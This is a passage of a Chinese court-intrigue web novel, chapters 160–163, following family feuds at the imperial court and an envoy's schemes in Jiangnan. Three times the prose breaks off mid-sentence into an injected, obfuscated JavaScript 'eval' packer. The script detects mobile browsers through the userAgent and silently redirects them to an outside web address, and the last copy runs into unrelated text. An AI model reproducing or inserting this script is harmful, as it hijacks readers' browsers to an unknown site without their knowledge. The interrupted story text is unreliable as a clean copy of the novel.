侯瞻渥对霍家的痛斥戛然而止,升平转过脸不看,侯瞻渥紧跟着扭头冷哼,武襄侯道:“你不必为难圣人和太后,是我要让瞻渥和离,你是定不肯同意吗?” 升平没说话,侯瞻渥再给他爹冷脸。 “好!”武襄侯声如洪钟:“我与你和离!” 侯瞻渥懵了下,看客们意外,意外之余又有种未有多惊奇之感,升平看向丈夫,武襄侯冷若对敌:“假若我与你和离不能成,我就废掉侯瞻逊的世子位。 武襄侯的爵位,我还是能做主的,还没到我的儿子都是你生的,我侯家下一个当家人就一定是你的儿子。今天让瞻渥跟他媳妇和离,你若执意要反对,我与你和离,废掉侯瞻逊的世子位把爵位传给侄儿,一样让瞻渥和离。” 升平不敢相信地看着丈夫,像是不认识他。 霍太后嗤之,藏住眼底的嫌恶。 160. 第160章 阳光簌簌落桂枝,大殿里没有剑拔弩张,唯有僵持在流淌。 按理,看客们应该要劝和,但,谁都不想多事,于是太上皇另外找人来。 显国公和平原夫妇、新都大长公主夫妇就这样被喊来了。 平原感觉那么奇妙呢,这大姐夫要和离? 显国公唉,这让他说什么好。 新都想扶姐姐起来:“大姐,瞻渥夫妻俩的事有皇兄圣裁,你毋需忧心。” 升平跪着不动,置若罔闻。 平原就事论事:“大姐,你要跟霍家结仇就结仇嘛,太后问了,你既没应答还要来虚的扮可怜装苦涩,你这不是反而欺负人,能怨皇兄和大姐夫生气吗?” 侯瞻渥瘫坐在他娘身边,受着冲击转不过来。 升平若心如死灰,又似倔强地想看看丈夫是否真要为外人对妻儿狠绝。 显国公和太上皇一样在看武襄侯,霍海啸建议:“侯爷和大长公主四十余年夫妻,因一小辈和离不合适,改立世子吧,我数十个数,瞻渥若还是拿不定主意,侯爷上表,请旨废掉侯瞻逊的世子位把爵位传给侄儿,替瞻渥再写份和离书。” “好!”武襄侯一锤定音。 霍海啸报数,升平眼神有些聚焦,看向丈夫,武襄侯没看夫人,霍海啸数过十个数,侯瞻渥还懵着,母子俩都没回复,武襄侯提笔写奏疏,请旨,废掉侯瞻逊的世子位、请太上皇允他立侄儿为武襄侯世子,代侯瞻渥再写和离书。 太上皇一一准了。 显国公低叹,霍秦川看武襄侯,这是想牺牲自己给妻儿陪葬? 平原傻了,这姐夫来真的,再怒再发狠都没有有这么多儿孙反而把爵位传侄儿的理吧? 但毕竟事不关己嘛,平原大长公主傻眼过后也就过了,甚至有点想落井下石,这大姐最近多威风啊还没做老太君就能管得全府羞辱当家人,遭报应了吧。 升平护着她的孩儿,痴痴呆呆,太上皇让大家散了,她和侯瞻渥依然痴坐,太上皇和霍太后离去,武襄侯没管妻儿,大步往外走,新都想拉把长姐被平原拽走。 “你看看她什么样,用得着你可怜吗?我还纳了闷了,一个儿媳妇还不是她孙子的娘,她在闹什么呀?想要这儿媳妇,跟霍家比个高低呀,要跟人家结死仇还连接招都不敢,装副苦相就当没人看懂她做得有多难看了,可怜她,你不怕好心反被恨上?!” 新都望着眼前的明皙,叹道:“他们怎么都不可能认吧。” 平原冷嗤:“还用说么。” 霍海啸护送太后回皇城,霍擎带着小辈们出宫,看霍海啸沉寂的,踹他一脚,干啥呀,不就是和皇帝一样没猜到晏霁之的用意,至于还要揣心里几天。 嫁在京中的侯二姑奶奶姐妹疯赶回娘家,武襄侯废长子、将爵位传给侄儿的事传遍,观众们神奇,武襄侯可有四个儿子,长孙都二十岁了,再生气之前全家瞒着你也不至于,唉,反正侯府下人们颤栗了,一个个打起精神牢记侯府是侯爷的侯府。 消息传入皇宫,宫里都沸沸扬扬。 “武襄侯是不相信还能管住妻儿吧?” 霍灵渠抱着好动的小婴儿看夕阳,皇帝过来,霍灵渠跟他讨论,嬴忱璧问:“贵妃相信武襄侯能不顾儿孙的死活?” “我就是觉得他很像在谋后路,若侯家出事,他这一支尽没,至少可以不累及族人。”霍灵渠把小婴儿给皇帝,抿口茶说:“全家一起瞒他,我想对武襄侯,除了怒,还有后怕。微不足道的小事,他不顺妻儿意,至亲们就能这样对他,大事呢? 倘若家眷们背着他做下要命的大事?长子已经逃不过清算了,单侯瞻逊就将祸及多少,他不想赌,他赌不起,干脆釜底抽薪。管不住妻儿了,他至少可以保住家族。” 嬴忱璧把皇儿放贵妃怀里,动作之迅捷,霍灵渠瞟向皇帝,眼神幽幽,嬴忱璧轻咳道:“皇儿活泼了,朕不常抱孩儿唯恐弄疼他再把他弄哭了。” “你是想打他吧?”霍灵渠戳穿,嬴忱璧义正辞严:“贵妃什么话,皇儿才四个月大,朕怎会只因皇儿活泼好动了些就想打孩儿?” “我想打他屁股。”霍灵渠把小婴儿抱抱好:“你不反对,我可不忍了。” “咳!”嬴忱璧略过道:“朕,还是有些唏嘘吧,武襄侯能如此当机立断。” “所以,他能结善缘,可以得善果。”霍灵渠说。 嬴忱璧闻言,眉眼间渗入威势:“武襄侯能结善缘,宜春一家呢?” 霍灵渠抬眸看皇帝,没接话,嬴忱璧的语气相当讽刺:“宜春刚在扬州住下,没几天,朱家那位就追过去献殷勤了,萧耿裕兄弟居然能容忍这人三天两头跑他们面前蹦跶,是萧家没人只能任由此人来耀武扬威还是萧家要有求于朱家?” 皇宫外,看过侯家热闹的霍舒窈都要问丈夫:“你叔叔要打亲哥的脸?” “你说哪儿去了。”萧耿烨装糊涂。 “萧灼灼之前怎么被人家欺负的,有过第一回了,来个第二回,难吗?”霍舒窈好笑:“不把人放进去就没事了?对,这一点我就好奇,有你爹做主,萧家和朱家撕破脸了吧,和朱家结着仇呢,萧耿裕怎么还能对那个朱窅絜那么友好?” 何谓友好?自不是相互间真亲亲热热,朱窅絜去讨好萧灼灼及其家人一直被拒之门外,但这在许多人看来,足够友好了,拒之门外算什么,你们是不能把人打退还是不敢不想呀?何况萧耿裕兄弟若是把朱窅絜放进门才是真不想要脸了。 “朱家可都把萧灼灼和那个朱窅絜的过往传得满城风雨了,你叔叔一家怎么还能忍?”霍舒窈乘胜追击:“莫非,你叔叔一家还欺软怕硬?” “舒窈,”萧耿烨头疼:“灼灼下半生还没着落呢。” “所以哪儿都有个躲闲言碎语的清净地方,她偏要待在江南,所以她家不是不会长教训而是打心底里就不想防备?”霍舒窈扯下遮羞布:“所以他们家可做不到养萧灼灼到老死,嫌没脸,非得要把萧灼灼嫁出去,过几年事情淡了,才有脸。” 萧耿烨没说话,霍舒窈恨道:“所以他们连朝中的形势都不愿意看,一门心思就只能装见他们自己,武襄侯多宽厚的人,今天怎么就这样发狠? 昌隆侯快反了!谁不是在撇清,豁出半条命去也要撇清,偏你叔叔家还要上赶着,看得都想让人热泪盈眶了,但他们想死死他们自家的,不要连累我们!” 霍舒窈告诫:“我可告诉你,心软的代价很可能就是萧家覆灭,你爹娘还想赌一赌吗?你掂清楚,宁可让萧灼灼死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459352|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、跟萧岘决裂,省得把整个萧氏一族搭进去。” 萧耿烨脸比心阴沉。 夜幕降临,江南巡抚衙门,灯烛闪烁星光浅,庭前琵琶余音袅袅。 酒靡儿弹曲,汪撷姑娘在煮茶,桂花香远远飘来作点缀。晏霁之听曲,滕王抿口小酒,瞥晏霁之好几眼颇有点小心,反而是晏霁之提的:“你有话就说啊。” “我就负责传个话啊。”滕王咳道:“萧耿裕找我,想请你帮忙开解宜春。” 晏霁之专注赏音律,滕王辩白:“毕竟能算亲戚是吧,何况他娘都在,我总不能,他让我帮他传个话,我就喷他一脸,虽然我坚定的鄙视他,但人家就让我帮他传个话,我总不能替你回绝,太难看了。” 晏霁之看向滕王,滕王默默的蔫了。 人家做的就很难看,滕王想想确实也受不了。 “你放心,我明天一早就回绝他。”滕王保证。 酒靡儿一曲毕,晏霁之告知:“你状告虢王和昌隆侯之后,虢王想过害死你,虢王觉得你若是暴毙然后宣扬你是遭到天谴,他便可脱身。” 滕王抓拳头:“我去做个虢王的偶人。” 看他不先咒死虢王! 滕王疾走,汪撷姑娘递上煮好的香茗,晏霁之示意她搁在案上吧,汪撷放下茶盏,道:“若是有心纠缠,回绝是没用的,大人怕是打发不掉那位萧爷。” 晏霁之看向这姑娘:“你知道萧耿裕?” 汪撷答:“宜春县主和朱家七少爷的故事前些天就传遍了。” 晏霁之状若调侃:“朱家传的故事里,萧灼灼的大伯就是棒打鸳鸯咯?” 汪撷失笑:“大人的关注倒是新奇,是的吧,宜春县主和朱少爷情投意合、情难自禁,虽然冒失了但两家在谈婚嫁了,偏宜春县主做族长的大伯硬要阻止不让。” “萧耿裕兄弟还没有澄清?” “想澄清,流言一出来不就澄清了,怎会拖到现在,何况——”何况宜春县主未必不想嫁到朱家?汪撷微怔,那这家人还想和做族长的伯父家交好吗? 酒靡儿有感:“宜春县主没有避孕吧?” 晏霁之转向这位江南名妓:“姑娘觉得呢?” 酒靡儿摇头:“不像,她没有想到,她的家人想到了不像会提出来。” 晏霁之抿口清酒,顺口问:“姑娘怎么会认识孟怋乂?” 酒靡儿道:“楼里管我们的纷娘是孟先生身边的人。” 纷娘,比孟怋乂年长三岁,她当前最担心的或许就是孟怋乂会要嫌她老了,她今夜就陪在孟怋乂身侧,孟怋乂在看晏霁之对江南豪族开出的条件,盯看许久,孟先生问身侧之人:“依你看,他这事做得怎么样?” 挨过一巴掌了,纷娘对那英王世子未有再多置喙,但孟先生问了,她也没修饰,怎么想就怎么说:“志大才疏、浪得虚名,得有多自大才会觉得这种条件都能逼人答应,真以为他是钦差代表着朝廷,朝廷想怎么样就能怎么样。” 孟怋乂忍了忍克制住了,仍保持温和:“果然是,大智若愚。” 纷娘诧异,孟怋乂说:“你回去吧。” 冷不防受冲击,纷娘定住。 第二天一早,孟怋乂下帖请钦差游湖,晏霁之赴会。 161. 第161章 金秋豪情,随兄长来游湖的姑娘们结伴乘船去,蔡藕菩多观望两圈还被姚姑娘拉走了:“钦差是出来游乐,你念生意经不是招人烦,至少等钦差尽兴之后吧。” 游湖嘛,人多热闹,朱芑适、陆兼、姚伉恢一众人都来了,钦差下江南,这样游游湖、看看歌舞,多好,他们很乐意捧着。 好些少爷还带着家里的妹妹,酒靡儿和汪撷虽然同来了但对那些闺秀自是格格不入,不过她们也不在意就是了。 晏霁之注视着湖面两亩莲田,孟怋乂调侃:“你想亲自挖几节藕?” “我在想螃蟹。”晏霁之说。 滕王神奇的看向他,孟怋乂劝:“现在的螃蟹还不够肥。” “我不是想吃,我是酸。”晏霁之碎碎念:“去年我给流光整了桌螃蟹宴,什么样的做法都吃了就差个蟹酿橙,我看我那位表哥要心血来潮给贵妃送蟹酿橙了。” 观众们:“……” 滕王登船游湖去,孟怋乂笑道:“那就祝你心想事成了。” 晏霁之看他,是正经谈事情的表情,孟怋乂莞尔:“果然,你知我今天的来意,明知是你的计还能令我心甘情愿按你想要的形势去推动,真让人有一种愉悦感。” 晏霁之忽然涌起几丝天真童趣:“给你看看我的荷包。” 朱芑适走来,孟怋乂挑眉:“骗子,这不是在打情骂俏吧?” “她觉得我对她像个骗子。”晏霁之看着这荷包,眼底一瞬间落寞。 “我教你一招,你很快就能收到下一个荷包了。”孟怋乂打趣。 “来说听听。”晏霁之把荷包收好。 “让她知道你在江南夜夜流连花丛。”孟怋乂出馊主意。 “我谢谢你。”晏霁之走人,对着朱芑适一个正眼没给,朱芑适哼笑:“你应该跟他说,我帮你把霍贵妃偷运出宫来,他保管站得牢得跟脚底生了根似的。” 孟怋乂讶异:“世子一点不怀疑他真喜欢霍灵渠?” 朱芑适就道:“他和嬴天漾是老六的伴读,小时候老六和嬴天漾喜欢霍灵渠,大家都知道,但凡老六和嬴天漾带着霍灵渠玩,十回里有十回,他都在;但霍灵渠若是没在,单老六和嬴天漾两个上蹿下跳,十回里他最多在一回。” 孟怋乂乐:“还真是司马昭之心啊。” 萧灼灼跟二哥出来,远远一看有这么多人,转头就要走,萧耿裕拦着妹妹,这里人多,他们去边上的西寺,那里是陌生人不碍,萧灼灼沉默下,跟哥哥走了。 滕王要去挖莲藕,小船靠近,问晏霁之一起吗? 晏霁之拒绝,他游个湖都没兴趣,游湖这样赏心悦目的事就该抱着女人一起,但霍灵渠不在啊,他就兴味索然了。 晏霁之在魂游天外,朱芑适的脸冒出来,他诧异,朱芑适提醒:“是你找我。” 晏霁之看眼晏诺,想起来:“哦,差点忘了。” “我此行,代王必定想让我死在江南,不想背黑锅吧?”晏霁之喝杯酒醒醒神。 “我若愿意背这个黑锅又怎样?”张口就想利用他,朱芑适呵。 “对,你还可以冷眼旁观,然后拿这个把柄去威胁代王。”晏霁之了然状。 “霁之你的命贵啊,总不能死的没有价值。”朱芑适凉凉道。 “你当很清楚你爹当年能继承你祖父爵位的秘诀啊。”湖面上,两只小船并列划行着,坐在旁边小船的孟先生纹丝不动,晏霁之眼眸弯弯:“你清楚,你祖母会不清楚吗,你们家那位柴姨娘会不清楚吗?你祖母又会愿意走在你娘前头吗?” 朱芑适眼神一闪。 晏霁之客气道:“放心,你和你爹若想害我,我一定不打女眷的主意。” 朱芑适打量他,晏霁之逐客了,朱芑适回去旁边的小船,站着目送晏霁之的小船驶远,仍站立着,孟怋乂走近,朱芑适问孟怋乂的看法。孟先生道:“提醒世子关注代王府吧,他若不提,世子未必会注意;但他提了,世子一定不会不注意。” 晏霁之靠着小船半梦半醒小憩半个时辰,船靠岸,他走下船,看见多数人都已就坐了。他转一圈找到滕王,滕王在包荷叶鸡呢,滕王觉得挖莲藕、衣裳已经脏了,他想吃荷叶鸡,干脆自己收拾好再去换衣裳,对晏霁之友好道:“我帮你也烤了一只。” 一群人出来游湖,自然要用过午膳再回。 “谢谢。”晏霁之弯腰拿起盐碗,捏两粒盐尝尝,然后拿盐碗走了,滕王看他没傻吧。晏霁之拿着盐碗来到他的座次,汪撷姑娘摆下一瓦罐桂花枝。 “大人若是觉得桂花的香味浓了,奴婢去换菊花来。” “瓦罐配花枝,看着也不错,摆着吧。”晏霁之随意道,汪撷姑娘谢过,再斟茶奉上,晏霁之指指盐碗让她拿给陆兼,汪撷放下茶盏,把盐碗拿去给陆大公子。 陆兼很快过来:“怎么了,这盐吃不惯?” “我在想沿海的盐利,我若是想夺沿海的盐利,你们还有那些盐商能想把我吃了吧。”晏霁之话落,一众大少爷们齐齐关注他,好几个都想骂他,陆兼没接话,蓝遂道:“霁之,难得能请你出来,你就别扫自己的兴了把公事放一放吧。” “我那位皇帝表哥把我的女人抢走了,我心情不好。”晏霁之跟小孩撒娇耍无赖似的:“我心情不好,见不得你们高兴,大家都心情不好,我就舒坦了。” “……” 朱芑适评价:“你活该走在路上都要被人打死。” 晏霁之懒怠一扫而空很激愤:“你信不信我泼你一碗盐?” 朱芑适高歌猛进:“你泼啊?!” 孟怋乂:真不想看这种小孩吵架。 没人拉架,滕王过来都没多事,是从西寺赶回来报信的姑娘们打断的,姚姑娘不见了。 姑娘们游过湖又结伴去离这边不远的西寺进香了,约定返程时,姚姑娘没出现,大家找几遍没找到又猜姚姑娘是不是回来了,没回来就真不知姚姑娘去哪儿了。 姚伉恢攥拳,陆兼安抚:“放心吧,我们一起去找,出不了事。” 一起?晏霁之微怔,看他们差不多都站起来了,问:“萧耿裕今早来过?” 姚伉恢莫名敏感:“来过,这边人多,他带他妹妹去西寺了。” “姚姑娘不见了,我们自然会想一起过去找,但,人怎么会好好的不见?遇到歹徒了,不该吧,假若她没有遇到歹徒而是有人想把我们引过去?”晏霁之探究。 边从杲无语:“我们这么多人,引我们过去做甚?” 陆兼让婢女和舞姬退下,回来报信的姑娘们自觉带下人们离开,晏霁之思量:“我恐怕萧耿裕是冲着我来的,把我们引过去,设计让我和萧灼灼碰面。” “你是不是太能想了?”边从杲看他真够离谱才是,滕王附议:“我也觉得不可能,你这真的想太多了,就算他家对你还没死心也不至于这样算计你。” “不是耍阴招,单纯碰个面,让大伙撞见而已。”晏霁之淡淡道:“这流言传得再漂亮也掩盖不住萧灼灼的水性,但若不止一个男人看见萧灼灼会忍不住,假若是个男人看见萧灼灼都会情不自禁,是不是好歹能减轻舆论对萧灼灼的不利? 萧耿裕很清楚,以萧灼灼的情况把她赖给谁都有可能会被不认账,故此,他不会想用春药。若是能有比朱窅絜更好的选择,缠得住,死缠烂打到底,若是缠不住,只能选朱家,对朱家也得把姿态拿高。姚姑娘这会儿应该是和萧灼灼在一起。” 众人安静了。 “我相信你的猜测,否则我还真想不出来在我眼皮底下能冒出什么歹徒来劫走我妹。”姚伉恢阴沉道:“我去盯着萧耿裕,你们不要妄动。” 姚伉恢大步走掉,站着的众位重新坐下,滕王捂把眼睛,陆兼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459353|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“芑适,你七弟呢,请来一起喝杯酒吧。” 朱芑适懒懒不语,随即就有人去找了。 边从杲调转枪头:“萧耿裕他没病吧,他家不在江南就能胡来了?” “妹子闹出点事,娘陪着还不够,两个哥哥都成天围着转,再无所事事也不至于吧?”牛湃好笑:“天天斗鸡走狗都比这种男人强,就他们家这样还想能好几年?” 萧灼灼是被硬拽而来,被一群姑娘们围着走脱不得,她头压得低低的,双手攥紧衣裳,怯懦得好像见到太阳光就会被化掉。 蔡藕菩想这宜春县主若是喜欢那位朱七少爷不可能变得这样悲郁吧。 两个多月前她在福州见过他们兄妹,当时多神采飞扬。 姚伉恢带妹妹落座,这群少爷和姑娘们就给萧耿裕和萧灼灼灌酒,萧耿裕没这么窘迫过好像他的脸皮都被扒下来了。 蓝遂给晏霁之敬杯酒,怎么会猜得这么准? “我们来游湖,他们就出门散心,两个地方还离这么近?”晏霁之把酒喝了。 说白了,晏霁之不相信萧耿裕没对他憋着点歪心思。 朱窅絜赶来,这群人看见这位更兴奋了,拉着人坐下轮番给萧灼灼和朱窅絜道喜灌酒,闹到最后起哄让他俩喝交杯酒,萧耿裕自顾不暇,滕王嫌头疼,看晏霁之好几眼,晏霁之在品尝荷叶鸡。 蔡藕菩忍无可忍站起来,姚姑娘扯扯她哥,让哥哥算了吧。 她也没怎么样,就是被萧家请过去跟萧灼灼待了会儿。 姚伉恢点点头刚想叫停被牛湃拦住,牛湃笑道:“霁之,给你介绍下,这位蔡姑娘可是了不得,未婚夫的通房有孕而已,她非得要退婚,她家里后来又给她说好几个,她非但一个看不中还不想嫁人了,一个女人非要挤在爷们堆里做生意。” “人又不是千篇一律的活着。”晏霁之看向孟怋乂求证:“是这话吧?” 孟怋乂应:“一字不差。” 牛湃傲视:“听说,霍贵妃倒是一点不避讳进宫前的过往。” 晏霁之撇清:“我又不姓霍。” 滕王差点被呛到,瞧这话说的,孟怋乂端茶盏喝茶,牛湃进击:“霁之你何必谦虚,谁不知道霍贵妃进宫前就是你的流光姨娘,你自己刚才都还在说。” 晏霁之讶异:“你还没听说过原牧炽的豪言吗,你这么孤陋寡闻?” 牛湃不屑:“什么豪言?” “我和阿炽将来可是要一起过的,不要影响我的桃花运。”某人标榜。 “……” 滕王捂把脸,牛湃被噎下再想反击被晏霁之抢前了:“你放心,我看不上你,我已经有四个备选了,原牧炽是首选,接着是嬴天漾,然后是我那位皇帝表哥,再是霍海啸,你嘛,我就是看上朱芑适都看不上你,你尽管把心放肚子里。” 被殃及池鱼的朱芑适握握拳头,牛湃咬牙:“彼此彼此。” 晏霁之吃惊状:“你也被我那位皇帝表哥抢女人了,不可能吧,你可不要随意诬赖他,我对我这位表哥还是有些清楚的,他不可能抢你的女人。那你是被谁抢女人了,不是皇帝跟你抢,你女人还能被抢走,被抢走了,你还抢不回来?” “你不是这么,”晏霁之一脸嫌弃样:“怂吧?” 牛湃就快跟他干架了,陆兼他们赶忙拉住打圆场,姚姑娘扯扯她哥,钦差还挺有趣的。姚伉恢读懂妹妹笑意地回复:是啊,不然能这么多人把妹妹带出来。 一样被老兄带出来的姚姑娘:“……” 萧耿裕、萧灼灼和朱窅絜得以喘息,宴散,各自打道回府,朱窅絜跟着嫡兄回到住处,告退后回自己屋里就摔砸发飙:“三天了王家还没压得那小子同意吗?” 小厮忙道:“妥了妥了,少爷宽心,明早就有好戏。” 朱窅絜仍然砸,把整间屋子砸个稀巴烂才算稍稍消消火。 162. 第162章 拂晓,天地间还泛着青色,偶有行人路过巡抚衙门前,猛然被吓到。 有人在府衙前悬梁! 滕王洗漱时闻得此事险些喷出漱口水,洗漱好,去找晏霁之,巡抚已经在了,晏霁之目光炯然:“派衙役把这家人团团围住,必须把舆论控制在官府手里。 官差若是不够就调士兵,对外说辞,此人遭欺凌,走投无路,以死寻求衙门庇护。聚拢百姓请教这家人情况,一定要在对方来不及安排爪牙混淆视听之前。” 滕王怪道:“这什么人家,查出来没有?” 晏霁之看着滕王,滕王被看得发毛:“你看我作甚,难不成还跟我有关系?” “你五姑姑三嫁的丈夫的堂侄家。”晏霁之告知,滕王:“……” 滕王想扭头捂捂脸,好吧,他收回刚才的话。 捕头跑来呈上份血书,是从死者的衣物里搜出来的,滕王接过一看,居然还真是,父死之后嫡母和嫡兄欺凌他兄妹和他们姨娘,这几天逼着他在巡抚衙门前自尽,他便反将一军。 晏霁之浏览过血书,再交代:“即刻把死者的妹妹和姨娘接出来。 把王家的下人与王家人隔绝审查,把王家在城中的铺面尽数查封,把他家的掌柜和管事请到衙门来将账本全部查缴,在天黑前令他们惶惶不可终日自觉死期将至。” 天亮,巡抚衙门前人山人海,老百姓们七嘴八舌滔滔不绝,滕王奋笔疾书,二十年都没一下写过这么多字,晏霁之非得让他亲自记录,给百姓们一个好感观。 朱家别院,朱窅絜恨恨摔杯,朱芑适迈步进门,朱窅絜看见嫡兄,侧侧头。 “翅膀硬了?”朱芑适讥笑:“这就瞒着我自作主张了?” “大哥你言重了,我只是觉得这些许小事不必你操心。”朱窅絜装恭敬:“你还有大事,什么都费心思岂不是太累了,我只是想替你分担一些。” “分担?”朱芑适问:“你分担出什么来了?” 朱窅絜没争辩但也愤愤不服,朱芑适下令:“这家子一个不留。”死士领命告退,朱芑适训诫这庶弟:“再敢自作主张,你就回家去,萧家不必你费心了。” 心里不以为然,面上,朱窅絜敷衍着。 死士退回门槛内,朱芑适视线扫向,晏霁之进屋,朱芑适眼神厉起来。 “芑适,我送你一份薄礼,你给我个薄面,今早的事到此为止,怎样?”晏霁之提议,朱芑适问什么礼,晏霁之看他的庶弟,朱芑适笑:“这能叫给我的礼?” 朱窅絜想明白过来,好笑得想翻白眼,晏霁之居然想抓他?脑子坏掉了吧。 “你没有还没有娶妻的庶弟、表弟?”晏霁之诧异,朱芑适没什么表情,晏霁之再劝:“你娘要劫狱,我晏家和霍家都睁只眼闭只眼,你这两天在金陵?” 朱芑适露出丝兴味,晏霁之莞尔:“放心,你爹不会知道的,就地斩了,你动手,其实你爹知道又怎样,他可有八个庶子,就是死三个庶子都不痛不痒。” 朱芑适意味深长的看晏霁之一眼,背过身。 朱窅絜不可思议地看这嫡兄,不敢再大意,要往外跑时被死士抓住,死士把朱窅絜制住,拔刀,一刀砍下,朱窅絜人头落地。 晏一和晏四进屋,把这头颅连同尸体装麻袋带走。 晏霁之告辞,朱芑适喊住:“你是怎么知道的?” “可疑的人猜一猜,谁最可疑,第一个找谁,找过来就知道了。”晏霁之望着这滩血说:“亲姐姐和亲妹妹都死了还一点不以为意,你爹对这庶出是不在意。” 朱芑适不同意:“还是得霁之你够敏锐啊。” 晏霁之走人,懒得看他阴阳怪气。 府衙前,滕王累得要趴下了,午膳的时辰喘喘气,他去找晏霁之,灌下好几碗茶,问:“怎样,查证了吗?真的,真的是那个朱窅絜?朱芑适肯让你抓人吗?” “嗯,已经砍了,送给王家了。”晏霁之叮嘱:“今夜,让这家人逃走。” 滕王不解:“为什么要让他们逃走?” 晏霁之答:“给朱家添乱,再者,坐实他们的罪行。” 滕王想想:“哦。” “记住,是这家人发现再不走就得死了,连夜逃脱,多名官差遭遇袭击。这家人逃走后清算他们的本家,你亲自把你五姑父在这边的势力连根拔起,可以吧?”晏霁之询问,滕王狠狠心壮壮胆:“可以,其实我都不知道他长什么样,没见过不认识。” 就是他太上皇伯伯这位同母妹妹,滕王有点头皮发麻。 “问逝者的姨娘和妹妹想去往何处安家,下月初,送她们去安顿好。送信告诉昌隆侯、朱窅絜死的原委,顾及侯爷颜面,这件事的主谋不揪出来了,昌隆侯若还想要儿子的尸身,派人去义庄领。”晏霁之一条条指派:“明天,你再去催陆兼等人,暗示,明示都可,在我们愿意有商有量时该要还价就来还价,莫闹得大家脸上都不好看。” 滕王觉得有点玄乎:“那个,那个朱窅絜真死了?”昨天还见过的。 晏霁之注目他,滕王斟酌又纠结:“我,我就是觉得你至少当宜春是朋友吧。” “你备份礼,帮我谢谢薛述聪替我挡灾吧。”语毕,晏霁之走掉,滕王一时没闹明白,想懂他的意思忍不住叹口气,把琐事抛掉,去用午膳。 入夜,夜近丑时,滕王回府衙见晏霁之还在等着他,拍拍晏霁之的手臂,说,那家人已经窜逃出城,回屋歇着吧还有事等天亮再商议,说完打着瞌睡走了。 晏霁之去暂住的寝屋,晏诺递上份包裹还有封信:“霍家送来的。” 不知疲乏的心仿佛忽然就累了,晏霁之接过,晏诺退下,他微微有点忐忑,洗漱过,在睡前把包裹打开,看见是一副金丝软甲,愣下,拿信拆开。 是霍漓江的信:老子思量几天还是跟你说吧,我女儿觉得她的血有用想放一坛血给你,我好不容易拦住,你个兔崽子不想活了也给我回来再死,别死在外面。 晏霁之心酸拿起金丝软甲,发现还有一双皂靴,眼睛一热,险些不能自已。 思念,大概最喜在深夜释放。 霍灵渠夜半醒来,黯然消极许久,清晨,派人请堂姐进宫趟。 霍舒窈未至,翁嫔求见贵妃,朝廷将遣使入占城、真蜡等国商取早稻,翊善伯是主使。 霍灵渠道:“这不是我定的,你祖父是工部尚书,轮得到他去。” “嫔妾还是想谢贵妃娘娘,让嫔妾给娘娘磕个头吧。”一同入宫的人只剩自己了,翁嫔觉得孤单单的,霍灵渠垂眸道:“去看看小皇子吧。” 翁嫔离开后,霍灵渠看挂在窗檐的风铃,再过几天,她进宫满半年了。 霍灵渠是想跟姐姐说萧灼灼的事:“昌隆侯原定的计划被打破了,当前形势已由不得他主控反而他更像被架在火堆上烤,他还会在意跟萧家结亲吗?” 霍舒窈心里咯噔下,霍灵渠揣摩道:“我是觉得,人就在江南,想让萧家为他所用,他把萧灼灼娘四个掳走就是了,甚至不需要萧灼灼和她娘,把萧耿裕兄弟俩掳走即可。只是,萧灼灼眼下会愿意走出江南吗?想让他们远离,唯有把他们绑走。 但,捆着他们,管控到昌隆侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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积压的怒火犹若突然引爆找到发泄,晋王勃然站起下令:让她死,今夜就去死。 晋王妃愣下,心里乐了,温柔答应。 在晏家,晏墉这夜也枯坐许久。 “什么?” 霍灵渠惊讶:“晏明妧和代王世子?” “嗯,代王府找上晏明妧请她偷英王的令牌搭救翟猛,她同意了,英王就把她送给代王世子了。”嬴忱璧讽刺道:“朕想,英王估计掐死晏明妧的心都有,疼爱三十余年,不再纵容他们让他们各自过各自的日子,她就能想把娘家毁掉。” 晏明潜都有想把这姐姐掐死的心了,贾姨娘和晏明绾两个人差点拦不住,晏明绾被生母喊回来喝小侄子的满月酒,钟姨娘生产前几日,贾姨娘就给晏明绾送信了。 哪想,晏明绾到来,遇上姐姐这样的事。 把大哥拉住,晏明绾想回杭州了不再理会这些事,贾姨娘又劝,晏明绾烦道:“姨娘!你们就不能跟我一起走?到底要执拗个什么劲儿啊? 你看看大姐,你把她骄纵成什么样了,她婆婆和儿女离京多久了,她还非要死乞白赖留着,瞎子都看得出来她打什么主意,她女儿都是要嫁人的年纪了,还要不要脸啊,你是不是还想看着杜家送休书来,看她一顶小轿进代王府啊?” 贾姨娘哭出来,晏明妧呆若木鸡。 翌日,杜家的休书送到,晏明妧的丈夫在牢里写下,请官差送来的。 晏明绾真是一刻不想留了。 163. 第163章 二百万贯,多否?少否? 对一位巨富而言若算多,二十位巨富均摊二百万贯当然不算多。 晏霁之邀请江南二十位巨富品茶,巡抚和几名官员陪同,晏霁之言,朝廷两线作战,朝中艰难,望众位感同朝堂艰辛,暂且先送二百万贯进京解圣人和陛下燃眉之急。 滕王低头品茶,这样直白的打秋风合适吗? 